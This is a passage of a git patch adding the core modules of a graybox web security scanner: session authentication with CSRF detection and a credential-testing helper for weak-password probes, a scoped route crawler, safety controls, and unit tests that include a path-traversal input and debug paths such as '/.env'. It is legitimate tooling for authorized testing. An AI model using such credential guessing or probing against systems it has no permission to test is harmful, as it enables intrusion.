ssrf_endpoints=[SsrfEndpoint(path="/api/fetch/", param="url")], + ), + business_logic=BusinessLogicConfig( + workflow_endpoints=[WorkflowEndpoint(path="/api/pay/", method="POST")], + ), + discovery=DiscoveryConfig(scope_prefix="/api/", max_pages=100), + login_path="/login/", + csrf_field="csrf_token", + ) + d = cfg.to_dict() + restored = GrayboxTargetConfig.from_dict(d) + self.assertEqual(restored.login_path, "/login/") + self.assertEqual(restored.csrf_field, "csrf_token") + self.assertEqual(len(restored.access_control.idor_endpoints), 1) + self.assertEqual(restored.access_control.idor_endpoints[0].path, "/api/records/{id}/") + self.assertEqual(restored.access_control.idor_endpoints[0].test_ids, [1, 2, 3]) + self.assertEqual(restored.injection.ssrf_endpoints[0].param, "url") + self.assertEqual(restored.discovery.scope_prefix, "/api/") + self.assertEqual(restored.discovery.max_pages, 100) + + def test_from_dict_ignores_unknown(self): + """Extra keys in dict don't raise.""" + cfg = GrayboxTargetConfig.from_dict({"unknown_key": "value", "nested": {"foo": 1}}) + self.assertEqual(cfg.login_path, "/auth/login/") + + def test_from_dict_empty(self): + """Empty dict produces all defaults.""" + cfg = GrayboxTargetConfig.from_dict({}) + self.assertEqual(cfg.login_path, "/auth/login/") + self.assertEqual(cfg.access_control.idor_endpoints, []) + + +class TestTypedEndpoints(unittest.TestCase): + + def test_idor_endpoint_from_dict(self): + """IdorEndpoint constructs from dict correctly.""" + ep = IdorEndpoint.from_dict({"path": "/api/records/{id}/", "test_ids": [5, 10]}) + self.assertEqual(ep.path, "/api/records/{id}/") + self.assertEqual(ep.test_ids, [5, 10]) + self.assertEqual(ep.owner_field, "owner") + self.assertEqual(ep.id_param, "id") + + def test_idor_endpoint_missing_path(self): + """IdorEndpoint raises on missing required 'path' field.""" + with self.assertRaises(KeyError): + IdorEndpoint.from_dict({"test_ids": [1, 2]}) + + def test_admin_endpoint_defaults(self): + """AdminEndpoint defaults method to GET.""" + ep = AdminEndpoint.from_dict({"path": "/admin/"}) + self.assertEqual(ep.method, "GET") + self.assertEqual(ep.content_markers, []) + + def test_workflow_endpoint_from_dict(self): + """WorkflowEndpoint constructs correctly.""" + ep = WorkflowEndpoint.from_dict({ + "path": "/api/pay/", + "method": "POST", + "expected_guard": "403", + }) + self.assertEqual(ep.path, "/api/pay/") + self.assertEqual(ep.method, "POST") + self.assertEqual(ep.expected_guard, "403") + + def test_ssrf_endpoint_defaults(self): + """SsrfEndpoint defaults param to 'url'.""" + ep = SsrfEndpoint.from_dict({"path": "/api/fetch/"}) + self.assertEqual(ep.param, "url") + + def test_sections_independent(self): + """Adding to one section doesn't affect others.""" + cfg = GrayboxTargetConfig( + access_control=AccessControlConfig( + idor_endpoints=[IdorEndpoint(path="/a/")], + ), + ) + self.assertEqual(len(cfg.access_control.idor_endpoints), 1) + self.assertEqual(cfg.injection.ssrf_endpoints, []) + self.assertEqual(cfg.business_logic.workflow_endpoints, []) + + def test_misconfig_default_paths(self): + """MisconfigConfig has sensible default debug paths.""" + cfg = MisconfigConfig() + self.assertIn("/.env", cfg.debug_paths) + self.assertIn("/actuator", cfg.debug_paths) + + def test_discovery_config_from_dict(self): + """DiscoveryConfig round-trips correctly.""" + dc = DiscoveryConfig.from_dict({"scope_prefix": "/app/", "max_pages": 25, "max_depth": 5}) + self.assertEqual(dc.scope_prefix, "/app/") + self.assertEqual(dc.max_pages, 25) + self.assertEqual(dc.max_depth, 5) + + +class TestScanTypeEnum(unittest.TestCase): + + def test_scan_type_values(self): + """ScanType.WEBAPP == 'webapp', ScanType.NETWORK == 'network'.""" + self.assertEqual(ScanType.WEBAPP, "webapp") + self.assertEqual(ScanType.NETWORK, "network") + self.assertEqual(ScanType.WEBAPP.value, "webapp") + + def test_scan_type_is_str(self): + """ScanType members are strings (str, Enum).""" + self.assertIsInstance(ScanType.WEBAPP, str) + self.assertIsInstance(ScanType.NETWORK, str) + + +class TestProbeRegistry(unittest.TestCase): + + def test_registry_structure(self): + """All entries have 'key' and 'cls' fields.""" + for entry in GRAYBOX_PROBE_REGISTRY: + self.assertIn("key", entry, f"Missing 'key' in registry entry: {entry}") + self.assertIn("cls", entry, f"Missing 'cls' in registry entry: {entry}") + + def test_registry_keys_only(self): + """Registry entries have exactly 'key' and 'cls' — capabilities live on probe class.""" + for entry in GRAYBOX_PROBE_REGISTRY: + self.assertEqual(set(entry.keys()), {"key", "cls"}, + f"Registry entry has extra keys: {entry}") + + def test_registry_has_expected_probes(self): + """Registry includes access_control, misconfig, injection, business_logic.""" + keys = [e["key"] for e in GRAYBOX_PROBE_REGISTRY] + self.assertIn("_graybox_access_control", keys) + self.assertIn("_graybox_misconfig", keys) + self.assertIn("_graybox_injection", keys) + self.assertIn("_graybox_business_logic", keys) + + +class TestCsrfFields(unittest.TestCase): + + def test_common_csrf_fields(self): + """COMMON_CSRF_FIELDS contains Django, Flask, Rails, Spring, Laravel.""" + self.assertIn("csrfmiddlewaretoken", COMMON_CSRF_FIELDS) + self.assertIn("csrf_token", COMMON_CSRF_FIELDS) + self.assertIn("authenticity_token", COMMON_CSRF_FIELDS) + self.assertIn("_csrf", COMMON_CSRF_FIELDS) + self.assertIn("_token", COMMON_CSRF_FIELDS) + + +if __name__ == '__main__': + unittest.main() From 51640b90e86fc71e160be069a4adfde4fc25de8d Mon Sep 17 00:00:00 2001 From: toderian Date: Tue, 10 Mar 2026 21:46:27 +0000 Subject: [PATCH 047/114] feat: graybox core modules safety / auth / discovery (phase 2) --- .../cybersec/red_mesh/graybox/auth.py | 302 ++++++++++++++++++ .../cybersec/red_mesh/graybox/discovery.py | 139 ++++++++ .../cybersec/red_mesh/graybox/safety.py | 91 ++++++ .../cybersec/red_mesh/tests/test_auth.py | 268 ++++++++++++++++ .../cybersec/red_mesh/tests/test_discovery.py | 218 +++++++++++++ .../cybersec/red_mesh/tests/test_safety.py | 107 +++++++ 6 files changed, 1125 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/graybox/auth.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/discovery.py create mode 100644 extensions/business/cybersec/red_mesh/graybox/safety.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_auth.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_discovery.py create mode 100644 extensions/business/cybersec/red_mesh/tests/test_safety.py diff --git a/extensions/business/cybersec/red_mesh/graybox/auth.py b/extensions/business/cybersec/red_mesh/graybox/auth.py new file mode 100644 index 00000000..1835c333 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/auth.py @@ -0,0 +1,302 @@ +""" +Authentication manager for graybox scanning. + +Handles CSRF auto-detection, login with robust success detection, +session expiry, re-auth, and cleanup. +""" + +import re +import time + +import requests + +from ..constants import GRAYBOX_SESSION_MAX_AGE +from .models.target_config import COMMON_CSRF_FIELDS + + +class AuthManager: + """ + Manages authenticated HTTP sessions for graybox probes. + + Handles CSRF auto-detection, login with robust success detection, + session expiry, re-auth, and cleanup. + """ + + def __init__(self, target_url, target_config, verify_tls=True): + self.target_url = target_url.rstrip("/") + self.target_config = target_config + self.verify_tls = verify_tls + + self.anon_session = None + self.official_session = None + self.regular_session = None + self._created_at = 0.0 + self._auth_errors = [] + self._detected_csrf_field = None + + @property + def detected_csrf_field(self) -> str | None: + """Public read access to the auto-detected CSRF field name.""" + return self._detected_csrf_field + + @property + def is_expired(self) -> bool: + return time.time() - self._created_at > GRAYBOX_SESSION_MAX_AGE + + def ensure_sessions(self, official_creds, regular_creds=None): + """Re-authenticate if sessions are stale or not yet created.""" + if self.official_session and not self.is_expired: + return True + return self.authenticate(official_creds, regular_creds) + + def authenticate(self, official_creds, regular_creds=None): + """Create fresh sessions for all configured users.""" + self.anon_session = self._make_session() + + self.official_session = self._try_login( + official_creds["username"], + official_creds["password"], + ) + if not self.official_session: + self._auth_errors.append("official_login_failed") + return False + + if regular_creds and regular_creds.get("username"): + self.regular_session = self._try_login( + regular_creds["username"], + regular_creds["password"], + ) + if not self.regular_session: + self._auth_errors.append("regular_login_failed") + + self._created_at = time.time() + return True + + def cleanup(self): + """ + Explicitly close sessions and attempt logout. + + Prevents session accumulation on targets with session limits. + """ + logout_url = self.target_url + self.target_config.logout_path + for session in [self.official_session, self.regular_session]: + if session is None: + continue + try: + session.get(logout_url, timeout=5) + except requests.RequestException: + pass + finally: + session.close() + if self.anon_session: + self.anon_session.close() + self.official_session = None + self.regular_session = None + self.anon_session = None + + def preflight_check(self) -> str | None: + """ + Verify target reachability and login page existence. + + Returns error message if preflight fails, None if OK. + """ + # 1. Target reachable? + try: + requests.head( + self.target_url, + timeout=10, + verify=self.verify_tls, + allow_redirects=True, + ) + except requests.RequestException as exc: + return f"Target unreachable: {exc}" + + # 2. Login page exists? + login_url = self.target_url + self.target_config.login_path + try: + resp = requests.get(login_url, timeout=10, verify=self.verify_tls) + if resp.status_code == 404: + return f"Login page not found: {login_url} returned 404" + except requests.RequestException as exc: + return f"Login page unreachable: {exc}" + + return None + + def _make_session(self): + s = requests.Session() + s.verify = self.verify_tls + return s + + def make_anonymous_session(self): + """ + Public API for creating anonymous sessions. + + Used by probes that need a fresh session for lockout detection + or anonymous endpoint testing. + """ + return self._make_session() + + def try_credentials(self, username, password): + """ + Public API for credential testing (used by weak-auth probe). + + Returns a Session on success (caller must close it), None on failure. + """ + return self._try_login(username, password) + + def _try_login(self, username, password): + """ + Attempt login with CSRF auto-detection and robust success detection. + """ + session = self._make_session() + login_url = self.target_url + self.target_config.login_path + + # GET login page + try: + resp = session.get(login_url, timeout=10, allow_redirects=True) + except requests.RequestException: + session.close() + return None + + # Auto-detect or use configured CSRF field + csrf_field, csrf_token = self._extract_csrf(resp.text) + + payload = { + self.target_config.username_field: username, + self.target_config.password_field: password, + } + headers = {"Referer": login_url} + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + headers["X-CSRFToken"] = csrf_token + + try: + resp = session.post( + login_url, data=payload, headers=headers, + timeout=10, allow_redirects=True, + ) + except requests.RequestException: + session.close() + return None + + # Robust success detection + if self._is_login_success(resp, session, login_url): + return session + + session.close() + return None + + def _is_login_success(self, response, session, login_url): + """ + Determine if login succeeded. + + Checks (in order): + 1. HTTP error -> fail + 2. Response body contains failure markers -> fail + 3. JSON error responses -> fail + 4. Redirected away from login page AND cookies present -> success + 5. Non-empty session cookies -> success + """ + if response.status_code >= 400: + return False + + # Check for failure markers in response body. + # Use multi-word phrases to avoid false matches — single words like + # "failed" can appear in legitimate post-login content. + failure_markers = [ + "invalid credentials", "invalid username", "invalid password", + "incorrect password", "login failed", "authentication failed", + "try again", "wrong password", "unable to log in", + "account locked", "account disabled", + ] + body_lower = response.text.lower() + if any(marker in body_lower for marker in failure_markers): + return False + + # SPA support: check JSON error responses + ct = response.headers.get("content-type", "") + if "application/json" in ct: + try: + data = response.json() + if isinstance(data, dict): + if data.get("error") or data.get("success") is False or data.get("authenticated") is False: + return False + except ValueError: + pass + + has_cookies = bool(session.cookies.get_dict()) + + # Redirect away from login URL — require cookies to confirm + # session was actually established. + if response.url and "login" not in response.url.lower(): + if has_cookies: + return True + + # Redirect chain present and final URL differs AND cookies set + if response.history and login_url not in response.url: + if has_cookies: + return True + + # Has auth-relevant cookies (even without redirect — SPA logins) + return has_cookies + + def _extract_csrf(self, html): + """ + Extract CSRF token from HTML. + + If csrf_field is configured, use it directly. + Otherwise, try common framework field names. + Returns (field_name, token_value) tuple. + """ + if self.target_config.csrf_field: + token = self._find_csrf_value(html, self.target_config.csrf_field) + return (self.target_config.csrf_field, token) + + # Auto-detect: try common CSRF field names + if self._detected_csrf_field: + token = self._find_csrf_value(html, self._detected_csrf_field) + if token: + return (self._detected_csrf_field, token) + + for field_name in COMMON_CSRF_FIELDS: + token = self._find_csrf_value(html, field_name) + if token: + self._detected_csrf_field = field_name + return (field_name, token) + + # Fallback: any hidden input with "csrf" or "token" in name + m = re.search( + r']+type=["\']hidden["\'][^>]+name=["\']([^"\']*(?:csrf|token)[^"\']*)["\'][^>]+value=["\']([^"\']+)', + html or "", re.IGNORECASE, + ) + if m: + self._detected_csrf_field = m.group(1) + return (m.group(1), m.group(2)) + + return (None, None) + + @staticmethod + def extract_csrf_value(html, field_name): + """ + Public API for CSRF value extraction from HTML. + + Used by probes that need to include CSRF tokens in form submissions. + """ + return AuthManager._find_csrf_value(html, field_name) + + @staticmethod + def _find_csrf_value(html, field_name): + """Find value of a named hidden input field.""" + # Try name->value order + m = re.search( + rf'name=["\']?{re.escape(field_name)}["\']?\s[^>]*value=["\']([^"\']+)', + html or "", re.IGNORECASE, + ) + if m: + return m.group(1) + # Try value->name order (some frameworks emit attrs differently) + m = re.search( + rf'value=["\']([^"\']+)["\'][^>]*name=["\']?{re.escape(field_name)}["\']?', + html or "", re.IGNORECASE, + ) + return m.group(1) if m else None diff --git a/extensions/business/cybersec/red_mesh/graybox/discovery.py b/extensions/business/cybersec/red_mesh/graybox/discovery.py new file mode 100644 index 00000000..9a1a67c5 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/discovery.py @@ -0,0 +1,139 @@ +""" +Route and form discovery for graybox scanning. + +BFS crawl with scope boundaries, page/depth limits, +and form collection without blind POSTs. +""" + +import posixpath +from collections import deque +from html.parser import HTMLParser +from urllib.parse import urljoin, urlparse + +import requests + + +class _RouteParser(HTMLParser): + """Extract href and form action attributes from HTML.""" + + def __init__(self): + super().__init__() + self.links = [] + self.forms = [] + + def handle_starttag(self, tag, attrs): + attrs_map = dict(attrs) + if tag == "a" and attrs_map.get("href"): + self.links.append(attrs_map["href"]) + if tag == "form" and attrs_map.get("action"): + self.forms.append(attrs_map["action"]) + + +class DiscoveryModule: + """ + Route and form discovery with scope boundaries. + + Scope constraints: + - Same-origin only: external domain links are ignored + - Optional path prefix: only crawl under scope_prefix + - Depth/page limits: prevent unbounded crawling + - Form actions recorded but NOT followed (no blind POSTs) + """ + + def __init__(self, target_url, auth_manager, safety, target_config): + self.target_url = target_url.rstrip("/") + self.auth = auth_manager + self.safety = safety + self._target_host = urlparse(target_url).netloc + self._scope_prefix = target_config.discovery.scope_prefix + self._max_pages = target_config.discovery.max_pages + self._max_depth = target_config.discovery.max_depth + self.routes = [] + self.forms = [] + + def discover(self, known_routes=None): + """ + Discover application routes and forms. + + Combines user-supplied routes with crawled routes. + Respects scope boundaries and page/depth limits. + """ + visited = set() + to_visit = deque([("/", 0)]) + + if known_routes: + for route in known_routes: + if self._in_scope(route): + to_visit.append((route, 0)) + + all_routes = set() + all_forms = set() + + while to_visit and len(visited) < self._max_pages: + path, depth = to_visit.popleft() + if path in visited: + continue + visited.add(path) + + self.safety.throttle() + + # Use authenticated session if available, else anonymous + session = self.auth.official_session or self.auth.anon_session + if session is None: + break + + url = self.target_url + path + try: + resp = session.get(url, timeout=10, allow_redirects=True) + except requests.RequestException: + continue + + all_routes.add(path) + + if "text/html" not in resp.headers.get("Content-Type", ""): + continue + + parser = _RouteParser() + try: + parser.feed(resp.text) + except Exception: + continue + + # Process discovered links (scope enforcement) + if depth < self._max_depth: + for link in parser.links: + normalized = self._normalize(link) + if normalized and normalized not in visited and self._in_scope(normalized): + to_visit.append((normalized, depth + 1)) + + # Record form actions but do NOT follow them + for action in parser.forms: + normalized = self._normalize(action) + if normalized and self._in_scope(normalized): + all_forms.add(normalized) + + self.routes = sorted(all_routes) + self.forms = sorted(all_forms) + return self.routes, self.forms + + def _normalize(self, raw): + """Normalize a link to a same-origin, canonicalized path.""" + if not raw or raw.startswith(("#", "javascript:", "mailto:")): + return "" + joined = urljoin(self.target_url + "/", raw) + parsed = urlparse(joined) + # Same-origin check + if parsed.netloc and parsed.netloc != self._target_host: + return "" + # Canonicalize path to collapse ".." segments + path = posixpath.normpath(parsed.path or "/") + # normpath strips trailing slash; preserve it for directory-style paths + if (parsed.path or "").endswith("/") and not path.endswith("/"): + path += "/" + return path + + def _in_scope(self, path): + """Check if path is within the configured scope prefix.""" + if not self._scope_prefix: + return True + return path.startswith(self._scope_prefix) diff --git a/extensions/business/cybersec/red_mesh/graybox/safety.py b/extensions/business/cybersec/red_mesh/graybox/safety.py new file mode 100644 index 00000000..c46126b2 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/safety.py @@ -0,0 +1,91 @@ +""" +Safety controls for graybox scanning. + +Rate limiting, attempt budgeting, and target validation. +""" + +import time +from urllib.parse import urlparse + +from ..constants import ( + GRAYBOX_DEFAULT_DELAY, + GRAYBOX_WEAK_AUTH_DELAY, + GRAYBOX_MAX_WEAK_ATTEMPTS, +) + + +class SafetyControls: + """Rate limiting, attempt budgeting, and target validation.""" + + def __init__(self, request_delay=None, weak_auth_delay=None, + target_is_local=False): + self._request_delay = request_delay or GRAYBOX_DEFAULT_DELAY + self._weak_auth_delay = weak_auth_delay or GRAYBOX_WEAK_AUTH_DELAY + self._last_request_at = 0.0 + # Enforce minimum delay for non-local targets to avoid + # triggering WAF blocking or causing DoS on resource-constrained targets. + if not target_is_local and self._request_delay < GRAYBOX_DEFAULT_DELAY: + self._request_delay = GRAYBOX_DEFAULT_DELAY + + def throttle(self, min_delay=None): + """Enforce minimum delay between requests.""" + delay = min_delay or self._request_delay + elapsed = time.time() - self._last_request_at + if elapsed < delay: + time.sleep(delay - elapsed) + self._last_request_at = time.time() + + def throttle_auth(self): + """Throttle for auth attempts (higher delay).""" + self.throttle(min_delay=self._weak_auth_delay) + + @staticmethod + def clamp_attempts(requested: int) -> int: + """Enforce hard cap on weak-auth attempts.""" + return min(max(requested, 0), GRAYBOX_MAX_WEAK_ATTEMPTS) + + @staticmethod + def is_local_target(target_url: str) -> bool: + """Check if target is localhost/loopback.""" + parsed = urlparse(target_url) + hostname = (parsed.hostname or "").lower() + return hostname in ("localhost", "127.0.0.1", "0.0.0.0", "::1", + "host.docker.internal") + + @staticmethod + def validate_target(target_url: str, authorized: bool) -> str | None: + """ + Validate target URL before scanning. + + Returns error message if invalid, None if OK. + """ + if not authorized: + return "Scan not authorized. Set authorized=True to confirm." + + parsed = urlparse(target_url) + if not parsed.scheme or not parsed.hostname: + return f"Invalid target URL: {target_url}" + if parsed.scheme not in ("http", "https"): + return f"Unsupported scheme: {parsed.scheme}" + + # Block obviously wrong targets + blocked = {"google.com", "facebook.com", "amazon.com", "github.com"} + hostname = parsed.hostname.lower() + for domain in blocked: + if hostname == domain or hostname.endswith("." + domain): + return f"Target {hostname} is a public service. Refusing scan." + + return None + + @staticmethod + def sanitize_error(msg: str) -> str: + """ + Remove potential credential leaks from error messages. + + Scrubs password= patterns and common secret markers. + """ + import re + msg = re.sub(r'password["\']?\s*[:=]\s*["\']?[^\s"\'&]+', 'password=***', msg, flags=re.I) + msg = re.sub(r'secret["\']?\s*[:=]\s*["\']?[^\s"\'&]+', 'secret=***', msg, flags=re.I) + msg = re.sub(r'token["\']?\s*[:=]\s*["\']?[^\s"\'&]+', 'token=***', msg, flags=re.I) + return msg diff --git a/extensions/business/cybersec/red_mesh/tests/test_auth.py b/extensions/business/cybersec/red_mesh/tests/test_auth.py new file mode 100644 index 00000000..47f904b1 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_auth.py @@ -0,0 +1,268 @@ +"""Tests for AuthManager.""" + +import time +import unittest +from unittest.mock import MagicMock, patch, PropertyMock + +from extensions.business.cybersec.red_mesh.graybox.auth import AuthManager +from extensions.business.cybersec.red_mesh.graybox.models.target_config import GrayboxTargetConfig +from extensions.business.cybersec.red_mesh.constants import GRAYBOX_SESSION_MAX_AGE + + +def _make_auth(**overrides): + """Build an AuthManager with defaults.""" + defaults = dict( + target_url="http://testapp.local:8000", + target_config=GrayboxTargetConfig(), + verify_tls=False, + ) + defaults.update(overrides) + return AuthManager(**defaults) + + +def _mock_response(status=200, text="", url="http://testapp.local:8000/dashboard/", + history=None, cookies=None, content_type="text/html"): + """Build a mock requests.Response.""" + resp = MagicMock() + resp.status_code = status + resp.text = text + resp.url = url + resp.history = history or [] + resp.headers = {"content-type": content_type} + resp.json.return_value = {} + if cookies is not None: + resp.cookies = cookies + return resp + + +class TestCsrfAutoDetect(unittest.TestCase): + + def test_csrf_autodetect_django(self): + """Finds Django csrfmiddlewaretoken.""" + auth = _make_auth() + html = '' + field, token = auth._extract_csrf(html) + self.assertEqual(field, "csrfmiddlewaretoken") + self.assertEqual(token, "abc123") + + def test_csrf_autodetect_flask(self): + """Finds Flask/WTForms csrf_token.""" + auth = _make_auth() + html = '' + field, token = auth._extract_csrf(html) + self.assertEqual(field, "csrf_token") + self.assertEqual(token, "flask-token-xyz") + + def test_csrf_autodetect_rails(self): + """Finds Rails authenticity_token.""" + auth = _make_auth() + html = '' + field, token = auth._extract_csrf(html) + self.assertEqual(field, "authenticity_token") + self.assertEqual(token, "rails-tok") + + def test_csrf_autodetect_fallback(self): + """Fallback finds generic hidden input with 'csrf' in name.""" + auth = _make_auth() + html = '' + field, token = auth._extract_csrf(html) + self.assertEqual(field, "my_csrf_thing") + self.assertEqual(token, "custom-tok") + + def test_csrf_configured_override(self): + """Configured csrf_field overrides auto-detection.""" + cfg = GrayboxTargetConfig(csrf_field="custom_token") + auth = _make_auth(target_config=cfg) + html = '' + field, token = auth._extract_csrf(html) + self.assertEqual(field, "custom_token") + self.assertEqual(token, "override-val") + + def test_csrf_field_property(self): + """detected_csrf_field is exposed as a property.""" + auth = _make_auth() + self.assertIsNone(auth.detected_csrf_field) + html = '' + auth._extract_csrf(html) + self.assertEqual(auth.detected_csrf_field, "csrf_token") + + def test_csrf_none_when_missing(self): + """Returns (None, None) when no CSRF field found.""" + auth = _make_auth() + field, token = auth._extract_csrf("
    ") + self.assertIsNone(field) + self.assertIsNone(token) + + def test_extract_csrf_value_public_api(self): + """Static extract_csrf_value works for probes.""" + html = '' + val = AuthManager.extract_csrf_value(html, "csrf_token") + self.assertEqual(val, "pub-tok") + + +class TestLoginSuccessDetection(unittest.TestCase): + + def _check(self, auth, response, cookies=None): + """Helper to call _is_login_success with a mock session.""" + session = MagicMock() + session.cookies.get_dict.return_value = cookies or {} + return auth._is_login_success(response, session, "http://testapp.local:8000/auth/login/") + + def test_login_success_redirect_with_cookies(self): + """Redirect away from login + cookies -> success.""" + auth = _make_auth() + resp = _mock_response(url="http://testapp.local:8000/dashboard/", history=[MagicMock()]) + self.assertTrue(self._check(auth, resp, cookies={"sessionid": "abc"})) + + def test_login_redirect_no_cookies(self): + """Redirect without cookies -> failure.""" + auth = _make_auth() + resp = _mock_response(url="http://testapp.local:8000/dashboard/", history=[MagicMock()]) + self.assertFalse(self._check(auth, resp, cookies={})) + + def test_login_success_spa(self): + """No redirect, cookies set -> success (SPA login).""" + auth = _make_auth() + resp = _mock_response(url="http://testapp.local:8000/auth/login/") + self.assertTrue(self._check(auth, resp, cookies={"token": "jwt-val"})) + + def test_login_failure_multiword(self): + """'login failed' in body -> failure.""" + auth = _make_auth() + resp = _mock_response(text="

    Login failed. Please try again.

    ") + self.assertFalse(self._check(auth, resp, cookies={"sessionid": "x"})) + + def test_login_no_false_negative(self): + """Page with 'failed' in dashboard text (not a failure marker) -> success if cookies set.""" + auth = _make_auth() + resp = _mock_response( + url="http://testapp.local:8000/dashboard/", + text="

    3 failed login attempts detected on your account.

    ", + history=[MagicMock()], + ) + self.assertTrue(self._check(auth, resp, cookies={"sessionid": "x"})) + + def test_login_failure_json_error(self): + """JSON {"error": "bad creds"} -> failure.""" + auth = _make_auth() + resp = _mock_response( + url="http://testapp.local:8000/auth/login/", + content_type="application/json", + ) + resp.json.return_value = {"error": "bad credentials"} + self.assertFalse(self._check(auth, resp, cookies={})) + + def test_login_failure_json_success_false(self): + """JSON {"success": false} -> failure.""" + auth = _make_auth() + resp = _mock_response( + url="http://testapp.local:8000/auth/login/", + content_type="application/json", + ) + resp.json.return_value = {"success": False} + self.assertFalse(self._check(auth, resp, cookies={})) + + def test_login_success_json(self): + """JSON {"authenticated": true} + cookies -> success.""" + auth = _make_auth() + resp = _mock_response( + url="http://testapp.local:8000/auth/login/", + content_type="application/json", + ) + resp.json.return_value = {"authenticated": True} + self.assertTrue(self._check(auth, resp, cookies={"token": "jwt"})) + + def test_login_failure_status(self): + """401 -> failure.""" + auth = _make_auth() + resp = _mock_response(status=401) + self.assertFalse(self._check(auth, resp, cookies={"sessionid": "x"})) + + +class TestAuthManagerLifecycle(unittest.TestCase): + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + def test_try_credentials_public(self, mock_requests): + """try_credentials returns session on success, None on failure.""" + auth = _make_auth() + # Mock login flow: GET returns CSRF, POST redirects with cookies + mock_session = MagicMock() + mock_session.get.return_value = _mock_response( + text='' + ) + post_resp = _mock_response( + url="http://testapp.local:8000/dashboard/", + history=[MagicMock()], + ) + mock_session.post.return_value = post_resp + mock_session.cookies.get_dict.return_value = {"sessionid": "abc"} + mock_requests.Session.return_value = mock_session + + result = auth.try_credentials("admin", "pass") + self.assertIsNotNone(result) + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + def test_make_anonymous_session(self, mock_requests): + """make_anonymous_session returns a fresh session.""" + auth = _make_auth() + session = auth.make_anonymous_session() + self.assertIsNotNone(session) + + def test_session_expiry(self): + """is_expired returns True after GRAYBOX_SESSION_MAX_AGE.""" + auth = _make_auth() + auth._created_at = time.time() - GRAYBOX_SESSION_MAX_AGE - 1 + self.assertTrue(auth.is_expired) + + def test_session_not_expired(self): + """is_expired returns False for fresh session.""" + auth = _make_auth() + auth._created_at = time.time() + self.assertFalse(auth.is_expired) + + def test_cleanup_closes_sessions(self): + """cleanup() closes all sessions.""" + auth = _make_auth() + auth.official_session = MagicMock() + auth.regular_session = MagicMock() + auth.anon_session = MagicMock() + auth.cleanup() + auth.official_session is None # already set to None + auth.regular_session is None + auth.anon_session is None + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + def test_preflight_unreachable(self, mock_requests): + """preflight_check returns error for unreachable target.""" + import requests as real_requests + mock_requests.head.side_effect = real_requests.ConnectionError("refused") + mock_requests.RequestException = real_requests.RequestException + auth = _make_auth() + err = auth.preflight_check() + self.assertIsNotNone(err) + self.assertIn("unreachable", err.lower()) + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + def test_preflight_login_404(self, mock_requests): + """preflight_check returns error if login page returns 404.""" + mock_requests.head.return_value = _mock_response(status=200) + mock_requests.get.return_value = _mock_response(status=404) + mock_requests.RequestException = Exception + auth = _make_auth() + err = auth.preflight_check() + self.assertIsNotNone(err) + self.assertIn("404", err) + + @patch("extensions.business.cybersec.red_mesh.graybox.auth.requests") + def test_preflight_ok(self, mock_requests): + """preflight_check returns None when target and login page are reachable.""" + mock_requests.head.return_value = _mock_response(status=200) + mock_requests.get.return_value = _mock_response(status=200) + mock_requests.RequestException = Exception + auth = _make_auth() + err = auth.preflight_check() + self.assertIsNone(err) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_discovery.py b/extensions/business/cybersec/red_mesh/tests/test_discovery.py new file mode 100644 index 00000000..e1f5e053 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_discovery.py @@ -0,0 +1,218 @@ +"""Tests for DiscoveryModule.""" + +import unittest +from collections import deque +from unittest.mock import MagicMock, patch + +from extensions.business.cybersec.red_mesh.graybox.discovery import DiscoveryModule, _RouteParser +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, DiscoveryConfig, +) + + +def _mock_response(status=200, text="", content_type="text/html"): + resp = MagicMock() + resp.status_code = status + resp.text = text + resp.headers = {"Content-Type": content_type} + return resp + + +def _make_discovery(scope_prefix="", max_pages=50, max_depth=3, routes_html=None): + """Build a DiscoveryModule with mocked HTTP.""" + cfg = GrayboxTargetConfig( + discovery=DiscoveryConfig(scope_prefix=scope_prefix, max_pages=max_pages, max_depth=max_depth), + ) + auth = MagicMock() + safety = MagicMock() + safety.throttle = MagicMock() + + # Build mock session that returns different HTML per path + session = MagicMock() + routes_html = routes_html or {} + + def mock_get(url, **kwargs): + for path, html in routes_html.items(): + if url.endswith(path) or url == "http://testapp.local:8000" + path: + return _mock_response(text=html) + return _mock_response(text="") + + session.get.side_effect = mock_get + auth.official_session = session + auth.anon_session = session + + disc = DiscoveryModule( + target_url="http://testapp.local:8000", + auth_manager=auth, + safety=safety, + target_config=cfg, + ) + return disc + + +class TestDiscoveryModule(unittest.TestCase): + + def test_same_origin_only(self): + """External links are ignored.""" + disc = _make_discovery(routes_html={ + "/": '    AboutEvil', + }) + routes, forms = disc.discover() + self.assertIn("/about/", routes) + # No external domain route + for r in routes: + self.assertFalse(r.startswith("http"), f"External route leaked: {r}") + + def test_scope_prefix(self): + """Only routes under prefix are discovered.""" + disc = _make_discovery( + scope_prefix="/api/", + routes_html={ + "/": 'UsersAdmin', + }, + ) + # Root "/" is outside scope but is the seed — it will be visited + # because it's the starting point. But discovered links outside scope are not followed. + routes, forms = disc.discover() + # /api/users/ should be in routes (it's in scope) + self.assertIn("/api/users/", routes) + # /admin/ should NOT be in routes (out of scope) + self.assertNotIn("/admin/", routes) + + def test_scope_prefix_traversal(self): + """Path traversal /api/../admin/ is normalized and blocked.""" + disc = _make_discovery( + scope_prefix="/api/", + routes_html={ + "/api/": 'TraversalData', + }, + ) + routes, forms = disc.discover(["/api/"]) + # /admin/secrets should be blocked (normalized from /api/../admin/secrets) + self.assertNotIn("/admin/secrets", routes) + + def test_max_pages(self): + """Stops after page limit.""" + # Create a chain of pages that would go forever + html_map = {} + for i in range(100): + html_map[f"/page/{i}/"] = f'Next' + + disc = _make_discovery(max_pages=5, routes_html=html_map) + routes, _ = disc.discover(["/page/0/"]) + # Should stop at 5 pages + self.assertLessEqual(len(routes), 5) + + def test_max_depth(self): + """Stops at 